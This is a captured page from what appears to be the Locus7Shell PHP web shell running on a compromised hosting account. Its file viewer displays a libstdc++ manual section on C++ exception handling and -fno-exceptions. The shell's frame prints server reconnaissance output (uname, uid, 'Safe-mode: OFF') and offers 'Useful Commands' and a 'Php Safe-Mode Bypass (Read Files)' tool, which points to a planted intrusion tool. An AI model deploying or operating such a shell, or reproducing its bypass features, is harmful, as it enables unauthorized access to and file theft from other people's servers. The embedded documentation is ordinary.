![]() | |
---|---|
Software: Apache. PHP/5.4.45 uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue uid=243112(mycochar) gid=100(users) groups=100(users) Safe-mode: OFF (not secure) /home/mycochar/www/image/photo/gcc-12.3.0/libstdc++-v3/doc/html/manual/ drwxr-xr-x |
Viewing file: Select action/file-type:
The C++ language provides language support for stack unwinding
with These are very powerful constructs, and require some thought when applied to the standard library in order to yield components that work efficiently while cleaning up resources when unexpectedly killed via exceptional circumstances. Two general topics of discussion follow: exception neutrality and exception safety. What is exception-safe code? Will define this as reasonable and well-defined behavior by classes and functions from the standard library when used by user-defined classes and functions that are themselves exception safe. Please note that using exceptions in combination with templates imposes an additional requirement for exception safety. Instantiating types are required to have destructors that do no throw. Using the layered approach from Abrahams, can classify library components as providing set levels of safety. These will be called exception guarantees, and can be divided into three categories.
Simply put, once thrown an exception object should continue in
flight unless handled explicitly. In practice, this means
propagating exceptions should not be swallowed in
gratuitous Why do this? By allowing exception objects to propagate, a more flexible approach to error handling is made possible (although not required.) Instead of dealing with an error immediately, one can allow the exception to propagate up until sufficient context is available and the choice of exiting or retrying can be made in an informed manner. Unfortunately, this tends to be more of a guideline than a strict rule as applied to the standard library. As such, the following is a list of known problem areas where exceptions are not propagated.
C++ is a language that strives to be as efficient as is possible
in delivering features. As such, considerable care is used by both
language implementer and designers to make sure unused features
not impose hidden or unexpected costs. The GNU system tries to be
as flexible and as configurable as possible. So, it should come as
no surprise that GNU C++ provides an optional language extension,
spelled Before detailing the library support
for
And what it to be gained, tinkering in the back alleys with a
language like this? Exception handling overhead can be measured
in the size of the executable binary, and varies with the
capabilities of the underlying operating system and specific
configuration of the C++ compiler. On recent hardware with GNU
system software of the same age, the combined code and data size
overhead for enabling exception handling is around 7%. Of course,
if code size is of singular concern than using the appropriate
optimizer setting with exception handling enabled
(ie,
So. Hell bent, we race down the slippery track, knowing the brakes
are a little soft and that the right front wheel has a tendency to
wobble at speed. Go on: detail the standard library support
for
In sum, valid C++ code with exception handling is transformed into
a dialect without exception handling. In detailed steps: all use
of the C++
keywords #if __cpp_exceptions # define __try try # define __catch(X) catch(X) # define __throw_exception_again throw #else # define __try if (true) # define __catch(X) if (false) # define __throw_exception_again #endif
In addition, for every object derived from
class #if __cpp_exceptions void __throw_bad_exception(void) { throw bad_exception(); } #else void __throw_bad_exception(void) { abort(); } #endif
The last language feature needing to be transformed
by
By using this combination of language re-specification by the
compiler, and the pre-processor tricks and the functional
indirection layer for thrown exception objects by the library,
libstdc++ files can be compiled
with
User code that uses C++ keywords
like
Some issues remain with this approach (see bugzilla entry
25191). Code paths are not equivalent, in
particular Oh, and by the way: none of this hackery is at all special. (Although perhaps well-deserving of a raised eyebrow.) Support continues to evolve and may change in the future. Similar and even additional techniques are used in other C++ libraries and compilers.
C++ hackers with a bent for language and control-flow purity have
been successfully consoled by grizzled C veterans lamenting the
substitution of the C language keyword
C language code that is expecting to interoperate with C++ should be
compiled with
In particular, unwinding into a frame with no exception handling
data will cause a runtime abort. If the unwinder runs out of unwind
info before it finds a handler,
Please note that most development environments should take care of
getting these details right. For GNU systems, all appropriate parts
of the GNU C library are already compiled
with
GNU systems re-use some of the exception handling mechanisms to
track control flow for Cancellation points are functions defined by POSIX as worthy of special treatment. The standard library may use some of these functions to implement parts of the ISO C++ standard or depend on them for extensions. Of note:
The parts of libstdc++ that use C library functions marked as
cancellation points should take pains to be exception neutral.
Failing this,
This augmentation adds a catch(const __cxxabiv1::__forced_unwind&) { this->_M_setstate(ios_base::badbit); throw; } catch(...) { this->_M_setstate(ios_base::badbit); } System Interface Definitions, Issue 7 (IEEE Std. 1003.1-2008) . 2.9.5 Thread Cancellation . Copyright © 2008 The Open Group/The Institute of Electrical and Electronics Engineers, Inc. . Error and Exception Handling . Boost . Exception-Safety in Generic Components . Boost . Standard Library Exception Policy . WG21 N1077 . ia64 c++ abi exception handling . GNU . |
Useful Commands
|
Php Safe-Mode Bypass (Read Files)
|
--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0053 ]-- |